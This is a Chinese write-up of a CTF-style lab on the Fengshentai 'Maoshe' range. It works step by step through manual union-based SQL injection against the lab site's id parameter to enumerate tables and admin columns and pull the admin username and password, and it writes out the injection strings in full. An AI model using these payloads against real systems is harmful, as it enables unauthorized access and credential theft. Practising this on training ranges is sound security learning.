封神台——手工注入基础(猫舍)

题目提示很明显,就是sql注入拿到管理员密码

 点击传送门进入看到的是一个很简陋的猫舍页面

域名简单,没看到注入点http://59.63.200.79:8003/

点击新闻页面看看

封神台——手工注入基础(猫舍)_第1张图片

域名后面加上了id=1,说明存在着数据库的交互

那么这里就很有可能是注入点

把这个作为我们的目标urlhttp://59.63.200.79:8003/?id=1

进入手工注入步骤

第一步 判断是否存在SQL注入漏洞

构造and 1=1,这个语句是恒成立的,一般页面都是不报错的

封神台——手工注入基础(猫舍)_第2张图片

再来试试1=2

封神台——手工注入基础(猫舍)_第3张图片

出错,初步说明存在着注入漏洞

第二步 判断数据库字段数

在这里会使用到order by()函数,它会根据后面的参数来改变排序顺序,比如数据库里有多个列,根据选取的列明,id,name,来排序

封神台——手工注入基础(猫舍)_第4张图片

构造?id=1 and 1=1 order by 1 页面没有变化(order by 1表示根据第一列来排序,一般也是如此默认升序的)

再来依次构造order by 2 / order by 3

由MySQL的语法有,order by后面的数据超过列数后将会报错,因此用种方法来判断一共有几个字段

当进行到order by 3 后,页面显示错误,因此判断一共只有两个字段 

第三步 判断回显点

回显点就是在页面中能显示数据库信息的板块,比如有的网页中“浏览次数”“发布时间”等,都反应的是数据库中的数据

于是我们使用联合查询

封神台——手工注入基础(猫舍)_第5张图片

我们同时查询这两个数据

但要注意的是,在MySQL语句中,页面一次只能显示一行查询的内容,而且是线差后显示,于是我们需要让前面的语句?id=1 and 1=1这句话失效,从而显示union select 1,2的内容

因此我们让前一个命令报错无法显示,即构造?id=1 and 1=2,后面照常union select 1,2

这样就完全没用

必须构造1=2

找到了回显点2

 

第四步 查询相关内容

1.查询表

已知2为回显点,我们只需要在联合查询时将2替代为我们想要查询到部位名称即可

可以查询当前的数据库名,将2替换为database()

构造id=1 and 1=2 union select 1,database()

数据库名为maoshe

查询当前数据库 表名

构造 ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 回车

limit 0,1的意思是从0开始,查询第1个数据

查询到的数据库名为admin

查询limit 1,1看看,数据库名这样

封神台——手工注入基础(猫舍)_第6张图片

 2,1这样

封神台——手工注入基础(猫舍)_第7张图片

3,1这样

4,1就空白了,说明一共就四张表

一般关于管理员的信息都在admin表中

 

2.查询字段名

查询admin表的列名

构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

封神台——手工注入基础(猫舍)_第8张图片

第一列是id

?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1

第二列是username

 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1

封神台——手工注入基础(猫舍)_第9张图片

第三列是password

该有的信息都找到了,直接查询就行了

3.查询字段内容

构造 ?id=1 and 1=2 union select 1,username from admin  limit 0,1 查询登陆用户名

封神台——手工注入基础(猫舍)_第10张图片

构造 ?id=1 and 1=2 union select 1,password from admin  limit 0,1查询密码

你可能感兴趣的:(WEB学习,#,封神台,数据库,mysql)